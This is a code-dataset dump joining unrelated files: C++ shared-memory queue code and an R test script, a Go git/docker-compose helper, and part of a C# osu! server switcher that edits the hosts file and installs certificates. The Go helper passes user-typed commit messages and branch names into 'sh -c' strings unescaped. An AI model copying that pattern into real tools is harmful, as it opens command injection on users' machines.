SEMAPHORE_NAME_NUMTASKS).c_str()); _result_count = ::OpenSemaphoreA(SEMAPHORE_ALL_ACCESS, FALSE, (name + SEMAPHORE_NAME_NUMREPLIES).c_str()); _lock = ::OpenMutexA(SYNCHRONIZE, FALSE, (name + MUTEX_NAME_LOCK).c_str()); #elif defined(RIPC_USE_SYSV_SEMAPHORES) std::string sem_file(_queue->get_temp_dir() + "/" + name + "(semaphores)"); key_t semkey = ftok(sem_file.c_str(), 'R'); int handle = semget(semkey, 0, 0600); if (handle == -1) { /* XXX: Raise the alarm! You fail at semaphores! */ } _task_count.sem_handle = handle; _task_count.sem_idx = 0; _result_count.sem_handle = handle; _result_count.sem_idx = 1; _lock.sem_handle = handle; _lock.sem_idx = 2; #else _task_count = new named_semaphore(open_only, (name + SEMAPHORE_NAME_NUMTASKS).c_str()); _result_count = new named_semaphore(open_only, (name + SEMAPHORE_NAME_NUMREPLIES).c_str()); _lock = new named_mutex(open_only, (name + MUTEX_NAME_LOCK).c_str()); #endif } QueueHandle::QueueHandle(std::string const &name, std::string const &tmpdir, long mem_size, int max_tasks, int inline_thresh) : _queue(NULL), #if defined(RIPC_USE_SYSV_SEMAPHORES) _task_count(), _result_count(), _lock(), #else _task_count(NULL), _result_count(NULL), _lock(NULL), #endif _segment(NULL), _env_generation(-1), _environment(NULL) { /* Create a directory for our mmapped files. */ mkdirs(tmpdir.c_str()); /* Create our shared memory and semaphore resources. */ #ifdef WIN32 _task_count = ::CreateSemaphoreA(NULL, 0, INT_MAX, (name + SEMAPHORE_NAME_NUMTASKS).c_str()); _result_count = ::CreateSemaphoreA(NULL, 0, INT_MAX, (name + SEMAPHORE_NAME_NUMREPLIES).c_str()); _lock = ::CreateMutexA(NULL, FALSE, (name + MUTEX_NAME_LOCK).c_str()); #elif defined(RIPC_USE_SYSV_SEMAPHORES) std::string sem_file(tmpdir + "/" + name + "(semaphores)"); ::close(::open(sem_file.c_str(), O_CREAT | O_TRUNC, 0600)); key_t semkey = ftok(sem_file.c_str(), 'R'); int handle = semget(semkey, 3, IPC_CREAT | IPC_EXCL | 0600); if (handle == -1) { /* XXX: Raise the alarm! You fail at semaphores! */ } static unsigned short values[] = { 0, 0, 1 }; union semun arg; arg.array = values; semctl(handle, 0, SETALL, arg); _task_count.sem_handle = handle; _task_count.sem_idx = 0; _result_count.sem_handle = handle; _result_count.sem_idx = 1; _lock.sem_handle = handle; _lock.sem_idx = 2; #else _task_count = new named_semaphore(create_only, (name + SEMAPHORE_NAME_NUMTASKS).c_str(), 0); _result_count = new named_semaphore(create_only, (name + SEMAPHORE_NAME_NUMREPLIES).c_str(), 0); _lock = new named_mutex(create_only, (name + MUTEX_NAME_LOCK).c_str()); #endif _segment = new managed_shared_memory(create_only, (name + SEGMENT_NAME).c_str(), mem_size); /* Construct the task queue in the shared memory segment. */ _queue = Queue::create(*_segment, name, tmpdir, mem_size, max_tasks, inline_thresh); } void QueueHandle::destroy() { /* In case it hasn't been shutdown, do so now. */ if (! _queue) return; shutdown(); /* Release our shared memory. */ std::string name(_queue->get_name()); std::string tmpdir(_queue->get_temp_dir()); delete _segment; _queue = NULL; _segment = NULL; _environment = NULL; /* Destroy the semaphores. */ #ifdef WIN32 if (_task_count) ::CloseHandle(_task_count); if (_result_count) ::CloseHandle(_result_count); if (_lock) ::CloseHandle(_lock); #elif defined(RIPC_USE_SYSV_SEMAPHORES) semctl(_task_count.sem_handle, 0, IPC_RMID, 0); #else try { named_semaphore::remove((name + SEMAPHORE_NAME_NUMTASKS).c_str()); } catch (...) { } try { named_semaphore::remove((name + SEMAPHORE_NAME_NUMREPLIES).c_str()); } catch (...) { } try { named_mutex::remove((name + MUTEX_NAME_LOCK).c_str()); } catch (...) { } #endif /* Destroy the shared memory segment. */ try { shared_memory_object::remove((name + SEGMENT_NAME).c_str()); } catch (...) { } /* Destroy the mmapped files directory. */ try { nuke(tmpdir); } catch (...) { } /* Be sanitary: NULL our pointers. */ #if defined(RIPC_USE_SYSV_SEMAPHORES) _task_count.sem_handle = -1; _task_count.sem_idx = -1; _result_count.sem_handle = -1; _result_count.sem_idx = -1; _lock.sem_handle = -1; _lock.sem_idx = -1; #else _task_count = _result_count = NULL; _lock = NULL; #endif } void QueueHandle::shutdown() { check_destroyed(); /* Acquire lock, set shutdown flag, release lock. */ RIPC_ACQUIRE_MUTEX(_lock); _queue->shutdown(); RIPC_RELEASE_MUTEX(_lock); /* Signal the task queue to wake any waiters. */ RIPC_POST_SEMAPHORE(_task_count); } int QueueHandle::enqueue(MessageHandle *m) { check_destroyed(); /* Lock, add to task queue, unlock. */ RIPC_ACQUIRE_MUTEX(_lock); int id = _queue->enqueue(m->get_message()); RIPC_RELEASE_MUTEX(_lock); /* Post task notification to the semaphore */ RIPC_POST_SEMAPHORE(_task_count); return id; } int QueueHandle::enqueue(char const *msg, int length) { check_destroyed(); /* Allocate an empty task. */ MessageHandle *m = allocate_task(); /* Populate task. */ m->set_data(msg, length); /* Enqueue the task. */ int id = enqueue(m); delete m; return id; } MessageHandle *QueueHandle::dequeue(void) { check_destroyed(); /* Wait for a task to become available. Claim it atomically. Because * the semaphore has been signalled, and because we acquired the * semaphore successfully, we can be certain that either there will be * a task waiting for us immediately, or that a shutdown has been * signalled. */ RIPC_WAIT_SEMAPHORE(_task_count); /* Lock, remove next task from queue, unlock. */ RIPC_ACQUIRE_MUTEX(_lock); if (_queue->shutdown_signalled()) { /* Post to the task count again to wake the next waiter, if there * are any. */ RIPC_POST_SEMAPHORE(_task_count); RIPC_RELEASE_MUTEX(_lock); throw ShutdownException(); } /* If there is a new prevailing environment, fetch it. */ MessageHandle *env = NULL; int cur_generation = _queue->get_environment_generation(); if (_env_generation != cur_generation) { env = get_environment(); _env_generation = cur_generation; } /* Dequeue the message itself. */ Message *msg = _queue->dequeue(); RIPC_RELEASE_MUTEX(_lock); return new MessageHandle(msg, this, env); } void QueueHandle::return_result(MessageHandle *msg) { check_destroyed(); /* Lock, append to results queue, unlock. */ RIPC_ACQUIRE_MUTEX(_lock); if (_queue->shutdown_signalled()) { RIPC_POST_SEMAPHORE(_task_count); RIPC_RELEASE_MUTEX(_lock); throw ShutdownException(); } _queue->return_result(msg->get_message()); RIPC_RELEASE_MUTEX(_lock); /* Post result notification to the semaphore. */ RIPC_POST_SEMAPHORE(_result_count); delete msg; } MessageHandle *QueueHandle::check_result() { check_destroyed(); /* If we have no outstanding tasks, there is no result to retrieve. * Fail fast. No locking required because we assume that only the * master will update this counter. */ if (_queue->get_num_outstanding_tasks() <= 0) return NULL; /* Block for result return. */ if (! RIPC_POLL_SEMAPHORE(_result_count)) return NULL; /* Lock, append to results queue, unlock. */ RIPC_ACQUIRE_MUTEX(_lock); Message *msg = _queue->get_result(); RIPC_RELEASE_MUTEX(_lock); return new MessageHandle(msg, this, NULL); } MessageHandle *QueueHandle::wait_result() { check_destroyed(); /* If we have no outstanding tasks, there is no result to retrieve. * Fail fast. No locking required because we assume that only the * master will update this counter. */ if (_queue->get_num_outstanding_tasks() <= 0) return NULL; /* Block for result return. */ RIPC_WAIT_SEMAPHORE(_result_count); /* Lock, append to results queue, unlock. */ RIPC_ACQUIRE_MUTEX(_lock); Message *msg = _queue->get_result(); RIPC_RELEASE_MUTEX(_lock); return new MessageHandle(msg, this, NULL); } void QueueHandle::set_environment(char const *data, int length) { check_destroyed(); RIPC_ACQUIRE_MUTEX(_lock); Message *env = _queue->new_environment(); if (_environment == NULL) _environment = new MessageHandle(env, this, NULL); _environment->set_data(data, length); RIPC_RELEASE_MUTEX(_lock); } MessageHandle *QueueHandle::get_environment() { if (_environment == NULL) { Message *env = _queue->get_environment(); if (env != NULL) _environment = new MessageHandle(env, this, NULL); } return _environment; } }; <file_sep>/test/runtests.sh #!/bin/bash if [ x"$REXECUTABLE" == x ]; then REXECUTABLE=R fi if [ x"$RARGUMENTS" == x ]; then RARGUMENTS="--vanilla --slave" fi if [ x"$RTESTLOG" == x ]; then RTESTLOG="ripctest.log" fi exec 1>"$RTESTLOG" if "${REXECUTABLE}" "${RARGUMENTS}" < testrunner.R; then if [ -t 2 ]; then echo -e '\x1b[1;32mSuccess\x1b[0m' >&2 else echo -e 'Success' >&2 fi exit 0 else if [ -t 1 ]; then echo -e '\x1b[1;31mFailure\x1b[0m' >&2 else echo -e 'Failure' >&2 fi echo "See ${RTESTLOG} for details." >&2 exit 1 fi
47ef3cb897223c0218c43fd04340da6b32b14254
[ "R", "C++", "Shell" ]
5
R
cran/revoIPC
040fcebc0304de0fc49057a0e289d5bcb6f7e7c4
15c44e92b186d685d51be88fb094f04a5999a886
refs/heads/master
<file_sep>package exec import ( "os/exec" ) /** * Executes git command in service folder */ func GitCommand(serviceDir string, command string) (result string, err error) { out, err := exec.Command( "sh", "-c", "( cd " + serviceDir + " && " + command + ")" ).Output() return string(out), err }<file_sep>package logger import ( colorPrint "github.com/fatih/color" ) const INDENT = " " func Header(text string) { colorPrint.Green("\n" + INDENT + " ------------ " + text + " -----------\n\n") } func Info(textTemplate string, params ...interface{} ) { colorPrint.White(INDENT + textTemplate, params...) } func Text(text string) { colorPrint.White(INDENT + text + "\n") } func Warn(textTemplate string, params ...interface{} ) { colorPrint.Yellow("\n" + INDENT + "WARNING " + textTemplate, params...) } func Debug(textTemplate string, params ...interface{} ) { colorPrint.Magenta("\n" + INDENT + "DEBUG " + textTemplate, params...) }<file_sep>package errors import ( "fmt" "os" ) func CheckAndExitIfError(err error) { if err != nil { fmt.Println(err) os.Exit(1) } } func CheckAndReturnIfError(err error) bool { if err != nil { fmt.Println(err) return true } return false } <file_sep>package DockerComposeFileBuilder import ( "devlab/lib/files" ) type Service struct { image string env_files []string volumes []string ports []string restart string } type DockerComposeFile struct { version string services map[string]Service networks map[string]map[string]map[string]string } func CreateDockerComposeObjectExample() *DockerComposeFile { dockerComposeExample := new(DockerComposeFile) dockerComposeExample.version = "2" dockerComposeExample.services = make(map[string]Service) dockerComposeExample.services["dlp-service-config"] = Service{ image: "${IMAGES_PREFIX}dlp-service-config", env_files: []string{"${BUILD_DIR}/dlp-service-config/.env"}, volumes: []string{"${DEVENV_ROOT_DIR}/dlp-service-config:/usr/src/app"}, ports: []string{"4004"}, restart: "always"} dockerComposeExample.networks = map[string]map[string]map[string]string{ "default": {"external": { "name": "bedrock" } } } return dockerComposeExample } func Create(dockerComposeFilePath string, dockerComposeData *DockerComposeFile) { files.WriteAppendFileWithIndent(dockerComposeFilePath, "version: " + dockerComposeData.version, 0) files.WriteAppendFileWithIndent(dockerComposeFilePath, "services: ", 0) for serviceName, serviceData := range dockerComposeData.services { files.WriteAppendFileWithIndent(dockerComposeFilePath, serviceName + ":", 2) files.WriteAppendFileWithIndent(dockerComposeFilePath, "image: " + serviceData.image, 4) if len(serviceData.env_files) > 0 { files.WriteAppendFileWithIndent(dockerComposeFilePath, "env_files: ", 4) for _, envFile := range serviceData.env_files { files.WriteAppendFileWithIndent(dockerComposeFilePath, "- " + envFile, 6) } } if len(serviceData.volumes) > 0 { files.WriteAppendFileWithIndent(dockerComposeFilePath, "volumes: ", 4) for _, volume := range serviceData.volumes { files.WriteAppendFileWithIndent(dockerComposeFilePath, "- " + volume, 6) } } if len(serviceData.ports) > 0 { files.WriteAppendFileWithIndent(dockerComposeFilePath, "ports: ", 4) for _, port := range serviceData.ports { files.WriteAppendFileWithIndent(dockerComposeFilePath, "- " + port, 6) } } if serviceData.restart != "" { files.WriteAppendFileWithIndent(dockerComposeFilePath, "restart: " + serviceData.restart, 4) } } files.WriteAppendFileWithIndent(dockerComposeFilePath, "networks: ", 0) files.WriteAppendFileWithIndent(dockerComposeFilePath, "default: ", 2) files.WriteAppendFileWithIndent(dockerComposeFilePath, "external: ", 4) files.WriteAppendFileWithIndent(dockerComposeFilePath, "name: " + dockerComposeData.networks["default"]["external"]["name"] , 6) }<file_sep>package main import ( "os" "devlab/bin/context" "devlab/bin/create-docker-compose" ) func main() { switch os.Args[1] { case "context": switch os.Args[2] { case "create": Context.Create(os.Args[3]) case "set": Context.Set(os.Args[3]) } break case "create-docker-compose": createDockerCompose.Call(os.Args[2]) break } }<file_sep>package createDockerCompose import ( "devlab/lib/files" "devlab/lib/docker-compose-file-builder" ) func Call(contextName string) { config, _ := files.ReadMainConfig() dockerComposeData := DockerComposeFileBuilder.CreateDockerComposeObjectExample() contextDir := config["contexts-path"] + "/" + contextName DockerComposeFileBuilder.Create("./" + contextDir + "/docker-compose.application.yml", dockerComposeData) }<file_sep>package Context import ( "devlab/lib/logger" "devlab/lib/files" "devlab/lib/errors" "devlab/lib/services" "strings" ) func Set(contextName string) (err error) { config, err := files.ReadMainConfig() if errors.CheckAndReturnIfError(err) { return } // Check context dir and create it if need contextDir := "./" + config["contexts-path"] + "/" + contextName isContextDirExists, _ := files.IsExists("./" + contextDir) if !isContextDirExists { files.CreateDir("./" + contextDir) } // Check context settings file and create it if need contextSettings := contextDir + "/settings.yml" isContextSettingsExists, _ := files.IsExists(contextSettings) if !isContextSettingsExists { files.Copy("./" + config["data-path"] + "/default-context.yml", contextSettings) } // Read context settings context, err := files.ReadContextConfig(contextSettings) if errors.CheckAndReturnIfError(err) { return } // Check context services dir and create it if need contextServicesDir := config["contexts-path"] + "/" + contextName + "/services" isContextServicesDirExists, err := files.IsExists("./" + contextServicesDir) if errors.CheckAndReturnIfError(err) { return } if !isContextServicesDirExists { files.CreateDir("./" + contextServicesDir) } // Set task base branch taskBaseBranch := context["context"]["task"]["base-branch"] if taskBaseBranch == "" { taskBaseBranch = config["base-branch"] } // Check services repo and clone/refresh it if need applicationServices := context["applicaton-services"] for serviceName, serviceParams := range applicationServices { logger.Header(strings.ToUpper(serviceName)) isServiceDirExists, _ := files.IsExists("./" + contextServicesDir + "/serviceName") if !isServiceDirExists { services.Clone(contextServicesDir, serviceName, config["github-repository-path"], serviceParams["github-path"] ) } serviceBaseBranch := serviceParams["base-branch"] if serviceBaseBranch == "" { serviceBaseBranch = taskBaseBranch } services.RefreshGitRepo(contextServicesDir, serviceName, serviceParams["branch"], serviceBaseBranch) } return } func Create(contextName string) (err error) { return } <file_sep>package yml import ( "github.com/gopkg.in/yaml" "devlab/lib/errors" ) func ParseOneLevelYAML(data string) (parsedData map[string]string, err error) { err = yaml.Unmarshal([]byte(data), &parsedData) if( errors.CheckAndReturnIfError(err) ) { return make(map[string]string), err } return } func ParseTwoLevelYAML(data string) (parsedData map[string]map[string]string, err error) { err = yaml.Unmarshal([]byte(data), &parsedData) if( errors.CheckAndReturnIfError(err) ) { return make(map[string]map[string]string), err } return } func ParseThreeLevelYAML(data string) (parsedData map[string]map[string]map[string]string, err error) { err = yaml.Unmarshal([]byte(data), &parsedData) if( errors.CheckAndReturnIfError(err) ) { return make(map[string]map[string]map[string]string), err } return } <file_sep>package files import ( "io" "os" "path/filepath" "devlab/lib/errors" "devlab/lib/yml" "devlab/lib/logger" "reflect" ) /** */ func AbsolutePath(relativePath string) (absolutePath string, err error) { dir, err := filepath.Abs(relativePath) if errors.CheckAndReturnIfError(err) { return } return dir, nil } /** */ func ReadTextFile(path string) (resultString string, err error) { resultString = "" filepath, err := AbsolutePath(path) if errors.CheckAndReturnIfError(err) { return } file, err := os.Open(filepath) if errors.CheckAndReturnIfError(err) { return } defer file.Close() data := make([]byte, 64) for { n, err := file.Read(data) if err == io.EOF { break } resultString += string(data[:n]) } err = nil return } /** */ func IsExists(path string) (bool, error) { filepath, err := AbsolutePath(path) if errors.CheckAndReturnIfError(err) { return false, err} _, err = os.Stat(filepath) if err == nil { return true, nil } if os.IsNotExist(err) { return false, nil } return true, err } /** */ func CreateDir(path string) error { filepath, err := AbsolutePath(path) if errors.CheckAndReturnIfError(err) { return err } return os.MkdirAll(filepath, 0755) } /* Copy the src file to dst. Any existing file will be overwritten and will not copy file attributes. */ func Copy(src, dst string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() out, err := os.Create(dst) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) if err != nil { return err } return out.Close() } /* */ func ReadMainConfig() (config map[string]string, err error) { _, err = IsExists("/.config") if errors.CheckAndReturnIfError(err) { return make(map[string]string), err } pathToConfig, err := AbsolutePath(".config") configData, err := ReadTextFile(pathToConfig) if errors.CheckAndReturnIfError(err) { return make(map[string]string), err } config, err = yml.ParseOneLevelYAML(configData) if errors.CheckAndReturnIfError(err) { return make(map[string]string), err } return } func ReadContextConfig(relativePathToContextConfigFile string) (context map[string]map[string]map[string]string, err error) { contextData, err := ReadTextFile(relativePathToContextConfigFile) if errors.CheckAndReturnIfError(err) { return make(map[string]map[string]map[string]string), err } context, err = yml.ParseThreeLevelYAML(contextData) if errors.CheckAndReturnIfError(err) { return make(map[string]map[string]map[string]string), err } return } /** * Writes string to the of file */ func WriteAppendFile(filenamePath string, text string) (result int, err error) { absoluteFilenamePath, err := AbsolutePath(filenamePath) isFileExists, _ := IsExists(filenamePath) logger.Debug(" %s ", absoluteFilenamePath) if !isFileExists { logger.Debug("text: %s ", text) file, _ := os.Create(absoluteFilenamePath) defer file.Close() } file, _ := os.OpenFile(absoluteFilenamePath, os.O_WRONLY|os.O_APPEND, 0644) if err != nil { return } defer file.Close() result, err = file.WriteString(text + "\n") return } /** * It adds spaces indent before string anf write this string to the end of file */ func WriteAppendFileWithIndent(filenamePath string, text string, indent int) (result int, err error) { return WriteAppendFile(filenamePath, indentInSpaces(indent) + text) } /** * Writes tree stucture data (with 3 levels) to yaml file */ func WriteYaml(filenamePath string, data interface{}) (err error) { return WriteYamlBranch(filenamePath, data, 0) } /** * Writes one branch of tree stucture data to yaml file */ func WriteYamlBranch(filenamePath string, data interface{}, depth int) (err error) { if data, ok := data.(map[string]map[string]map[string]string); ok { for key, value := range data { _, err = WriteAppendFileWithIndent(filenamePath, key + ": ", 2*depth) err = WriteYamlBranch(filenamePath, value, depth + 1) } } if data, ok := data.(map[string]map[string]string); ok { for key, value := range data { _, err = WriteAppendFileWithIndent(filenamePath, key + ": ", 2*depth) err = WriteYamlBranch(filenamePath, value, depth + 1) } } if data, ok := data.(map[string]string); ok { for key, value := range data { _, err = WriteAppendFileWithIndent(filenamePath, key + ": " + value, 2*depth) } } return } /** * Returns indent with num spaces */ func indentInSpaces(indent int) (spacesIndent string) { spacesIndent = "" for i := 0; i < indent; i++ { spacesIndent += " " } return spacesIndent } type Pair struct { key string value *interface{} } func (p Pair) writeAppendYAMLFile(filenamePath string, depth int) { v := reflect.ValueOf(*(p.value)) switch v.Kind() { case reflect.String: WriteAppendFileWithIndent(filenamePath, p.key + ": " + v.Elem().String(), depth) case reflect.Slice, reflect.Array: WriteAppendFileWithIndent(filenamePath, p.key + ": ", depth) for i := 0; i < v.NumField(); i++ { item := v.Field(i) if reflect.ValueOf(item).Kind() == reflect.String { WriteAppendFileWithIndent(filenamePath, "- " + reflect.ValueOf(item).Elem().String(), depth + 2) } else { WriteAppendFileWithIndent(filenamePath, " - the value couldn't be printed", depth + 2) } } case reflect.Map: WriteAppendFileWithIndent(filenamePath, p.key + ": ", depth) for _, key := range v.MapKeys() { // (Pair{key.Elem().String(), v.MapIndex(key).Pointer()}).writeAppendYAMLFile(filenamePath, depth + 2) // (Pair{key.Elem().String(), &"unknown value"}).writeAppendYAMLFile(filenamePath, depth + 2) WriteAppendFileWithIndent(filenamePath, key.Elem().String() + ": unknown value", depth +2) } default: WriteAppendFileWithIndent(filenamePath, p.key + ": the value couldn't be printed", depth) } } type YamlTree []Pair func (t YamlTree) WriteYaml(filenamePath string) { for _, pair := range t { pair.writeAppendYAMLFile(filenamePath, 0) } } <file_sep>package services import ( "bufio" "os" "time" "strconv" "devlab/lib/exec" "devlab/lib/files" "devlab/lib/errors" "devlab/lib/logger" ) /** * Clones service repository from remote server to local machine */ func Clone( contextServicesDir string, serviceName string, githabHost string, relativeGithubPath string) { isServiceDirExists, err := files.IsExists(contextServicesDir + "/" + serviceName) if errors.CheckAndReturnIfError(err) { return } servicesDir, err := files.AbsolutePath(contextServicesDir) if relativeGithubPath == "" { relativeGithubPath = serviceName + ".git" } if !isServiceDirExists { logger.Text("Cloning from github: " + githabHost + relativeGithubPath + " ...") exec.GitCommand(servicesDir, "git clone " + githabHost + relativeGithubPath + " " + serviceName) } } /** * Refreshes git repo service (refreshes service repo, commits or staches changes and checkout to context branch) */ func RefreshGitRepo(contextServicesDir string, serviceName string, contextServiceBranch string, baseBranch string) { serviceDir, _ := files.AbsolutePath(contextServicesDir + "/" + serviceName) if CheckRepoChanges(contextServicesDir, serviceName) { logger.Warn("There are some not commited changes") logger.Text("Please, choose action: ") logger.Text(" (1) commit changes ") logger.Text(" (2) stash changes ") logger.Text(" (3) nothing to do ") input := bufio.NewScanner(os.Stdin) input.Scan() action := input.Text() switch action { case "1": logger.Text("Commiting changes ") CommitChanges(contextServicesDir, serviceName) break case "2": logger.Text("Stashing changes ") exec.GitCommand(serviceDir, "git stash") break case "3": default: } } CheckoutOrCreate(contextServicesDir, serviceName, contextServiceBranch, baseBranch) } func CheckoutOrCreate(contextServicesDir string, serviceName string, checkoutBranch string, baseBranch string) { serviceDir, _ := files.AbsolutePath(contextServicesDir + "/" + serviceName) numCheckoutBranchExistsAsRemote, _ := exec.GitCommand(serviceDir, "git branch -r | grep -c " + checkoutBranch) currentBranch, _ := exec.GitCommand(serviceDir, "git symbolic-ref --short HEAD") /* checkoutBranch exists as remote */ isCheckoutBranchExistsAsRemote := numCheckoutBranchExistsAsRemote != "0" if isCheckoutBranchExistsAsRemote { if currentBranch != checkoutBranch { logger.Text("Checking out to '" + checkoutBranch + " branch\n") exec.GitCommand(serviceDir, "git checkout " + checkoutBranch) } diffLocalAndRemoteBranches, _ := exec.GitCommand(serviceDir, "git diff " + checkoutBranch + " origin/" + checkoutBranch + " --stat") if (diffLocalAndRemoteBranches != "") { logger.Text("Remote branch is differnt with local branch. \n") BackupCurrentBranchIfNeed(contextServicesDir, serviceName, checkoutBranch) logger.Info("Refreshing local service folder from remote branch origin/%s.", checkoutBranch) exec.GitCommand(serviceDir, "git fetch origin && git reset --hard origin/" + checkoutBranch) } return } /* checkoutBranch not exists as remote */ if currentBranch != checkoutBranch { numCheckoutBranchExistsAsLocal, _ := exec.GitCommand(serviceDir, "git branch | grep -c " + checkoutBranch) isCheckoutBranchExistsAsLocal, _ := strconv.ParseInt(numCheckoutBranchExistsAsLocal, 10, 8) if isCheckoutBranchExistsAsLocal == 0 { logger.Info("Creating new local branch '%s' from remote branch 'origin/%s'", checkoutBranch, baseBranch) exec.GitCommand(serviceDir, "git fetch origin && git checkout " + baseBranch + " git reset --hard origin/" + baseBranch) exec.GitCommand(serviceDir, "git checkout -b " + checkoutBranch) } else { exec.GitCommand(serviceDir, "git checkout" + checkoutBranch) } } if checkoutBranch != "master" && checkoutBranch != "develop" { logger.Info("Pushing new local branch '%s' to remote git server", checkoutBranch) exec.GitCommand(serviceDir, "git push origin " + checkoutBranch) } } /** * Backups current service branch */ func BackupCurrentBranchIfNeed(contextServicesDir string, serviceName string, checkoutBranch string) { serviceDir, _ := files.AbsolutePath(contextServicesDir + "/" + serviceName) nowUnixTime := time.Now().Unix(); logger.Info("Remote branch is differnt with local branch. \n Would you like to backup current version of local branch (create local branch '%s.backup.%s'), y|N ?", checkoutBranch, string(nowUnixTime)) input := bufio.NewScanner(os.Stdin) input.Scan() answer := input.Text() if answer == "y" || answer == "Y" { logger.Info("Creating '%s.backup.%s' branch from current branch '%s'", checkoutBranch, string(nowUnixTime), checkoutBranch) exec.GitCommand(serviceDir, "git checkout -b " + checkoutBranch + ".backup." + string(nowUnixTime)) } } /** * Checks if service repo has not commited changes */ func CheckRepoChanges(contextServicesDir string, serviceName string) bool { serviceDir, _ := files.AbsolutePath(contextServicesDir + "/" + serviceName) repoChanges, _ := exec.GitCommand(serviceDir, "git status -s") return string(repoChanges) != "" } /** * Commits service changes */ func CommitChanges(contextServicesDir string, serviceName string) { serviceDir, _ := files.AbsolutePath(contextServicesDir + "/" + serviceName) logger.Text("Enter commit message: ") input := bufio.NewScanner(os.Stdin) input.Scan() message := input.Text() if (message != "") { exec.GitCommand(serviceDir, "git add --all && git commit -m '" + message + "'" ) } else { logger.Warn("You have not entered the commit message.") logger.Warn("Changes will not be commited! It will be stashed.") exec.GitCommand(serviceDir, "git stash" ) } }
7be0c5cff7abc8a46d9be3d68df95ed3e0b9c530
[ "Go" ]
10
Go
DmitryLogunov/devlab
599a803561ddc89ddf0de599496b3147ed6898e6
4cb0bfbc95ba13ca2bee35d8925f9beb8acdd8a9
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace UltimateOsuServerSwitcher { public class Settings : Dictionary<string, string> { /// <summary> /// The settings file of this class /// </summary> public string File { get; } public Settings(string file) { File = file; // Create the file if it doesn't exist to prevent bugs when reading from a non-existing file if (!System.IO.File.Exists(file)) System.IO.File.WriteAllText(file, ""); else Load(); } // Handle interaction with the indexer public new string this[string key] { get { return base[key]; } set { // Set the value and immediately save base[key] = value; Save(); } } /// <summary> /// Bind a default value to a key to prevent uninitialized properties /// </summary> /// <param name="key">The key to initialize</param> /// <param name="value">The value</param> public void SetDefaultValue(string key, string value) { // If the variable does not exist yet, initialize and save if (!Keys.Contains(key)) { Add(key, value); Save(); } } private void Save() { // Parse the dictionary in the key=value format string str = ""; foreach (var kvp in this) str += kvp.Key + "=" + kvp.Value + "\r\n"; // Remove the \r\n at the end and write everything to the settings file str = str.Substring(0, str.Length - 2); System.IO.File.WriteAllText(File, str); } private void Load() { // Clear the dictionary Clear(); // Read the file and get every line, remove all \r to only get the lines without the \r at the end string str = System.IO.File.ReadAllText(File); List<string> lines = str.Split('\n').Select(x => x.Replace("\r", "")).ToList(); // Go through every line that contains a = (valid lines) and split it by that, // then add the parsed key and value to the dictionary foreach (string line in lines.Where(x => x.Contains('='))) { // Split and limit the elements to 2 to ignore all = after the first one string key = line.Split("=".ToCharArray(), 2)[0]; string value = line.Split("=".ToCharArray(), 2)[1]; // If the key already exists, throw an exception // Otherwise add key and value to the dictionary if (ContainsKey(key)) throw new InvalidOperationException("Tried to set the key '" + key + "' but it was already set.\r\n(Double occurence of the key in the settings file"); else Add(key, value); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { // https://stackoverflow.com/questions/19147/what-is-the-correct-way-to-create-a-single-instance-wpf-application public class NativeMethods { /// <summary> /// Broadcast hwnd to send a windows message to all processes /// </summary> public const int HWND_BROADCAST = 0xffff; /// <summary> /// Message to "wake up" the running switcher instance /// </summary> public static readonly int WM_WAKEUP = WinApi.RegisterWindowMessage("WM_WAKEUP"); } } <file_sep>using IWshRuntimeLibrary; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; using System.Windows.Forms; namespace UltimateOsuServerSwitcher { public static class Switcher { // The settings for the switcher private static Settings m_settings => new Settings(Paths.SettingsFile); /// <summary> /// The servers that were parsed from the web /// </summary> public static List<Server> Servers { get; set; } /// <summary> /// Switch the server /// </summary> /// <param name="server">The server to switch to</param> public static void SwitchServer(Server server) { // Remember the old server for telemetry Server from = GetCurrentServer(); // Get rid of all uneccessary certificates CertificateManager.UninstallAllCertificates(Servers); // Clean up the hosts file List<string> hosts = HostsUtil.GetHosts().ToList(); hosts.RemoveAll(x => x.Contains(".ppy.sh")); HostsUtil.SetHosts(hosts.ToArray()); // Edit the hosts file if the server is not bancho if (!server.IsBancho) { // Change the hosts file by adding the server's ip and the osu domain hosts = HostsUtil.GetHosts().ToList(); foreach (string domain in Variables.OsuDomains) hosts.Add(server.IP + " " + domain); HostsUtil.SetHosts(hosts.ToArray()); // Install the certificate if needed (not needed for bancho and localhost) if (server.HasCertificate) CertificateManager.InstallCertificate(server); } // Send telemetry if enabled if (m_settings["sendTelemetry"] == "true") { SendTelemetry(from, server); } } /// <summary> /// Returns the server the user is currently connected to /// </summary> public static Server GetCurrentServer() { // Get every line of the hosts file string[] hosts = HostsUtil.GetHosts(); // Check for the first line that contains the osu domain for (int i = 0; i < hosts.Length; i++) if (hosts[i].Contains(".ppy.sh")) { // Read the ip that .ppy.sh redirects to string ip = hosts[i].Replace("\t", " ").Split(' ')[0]; // Try to identify and return the server return Servers.FirstOrDefault(x => x.IP == ip) ?? Server.UnidentifiedServer; } // Because after downloading icon etc the bancho server object is not equal to Server.BanchoServer // because the Icon property is set then return Servers.First(x => x.IsBancho); } private static void SendTelemetry(Server from, Server to) { // Get the span between this and the last switching in unix milliseconds int span = -1; long currentUnixTime = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(); // If the unix time in the telemetry cache somehow cannot be converted // For example if the file was edited or the timestamp not set in the first place // Send an undefined timespan (-1) if (long.TryParse(TelemetryService.GetTelemetryCache(), out long lastUnixTime)) { span = (int)(currentUnixTime - lastUnixTime); } // Set the timestamp in the file to the current one for the next switching TelemetryService.SetTelemetryCache(currentUnixTime.ToString()); TelemetryService.SendTelemetry(from.ServerName ?? "Unknown", to.ServerName ?? "Unknown", TelemetryUtils.MillisecondsToString(span), CheckServerAvailability()); } #region QuickSwitch /// <summary> /// Creates a QuickSwitch shortcut at the given location for the given server /// </summary> /// <param name="file">The path to the .lnk file</param> /// <param name="server">The server the shortcuts lets you switch to</param> public static void CreateShortcut(string file, Server server) { WshShell shell = new WshShell(); IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(file); shortcut.Description = $"Switch to {server.ServerName}"; if (server.Icon != null) shortcut.IconLocation = 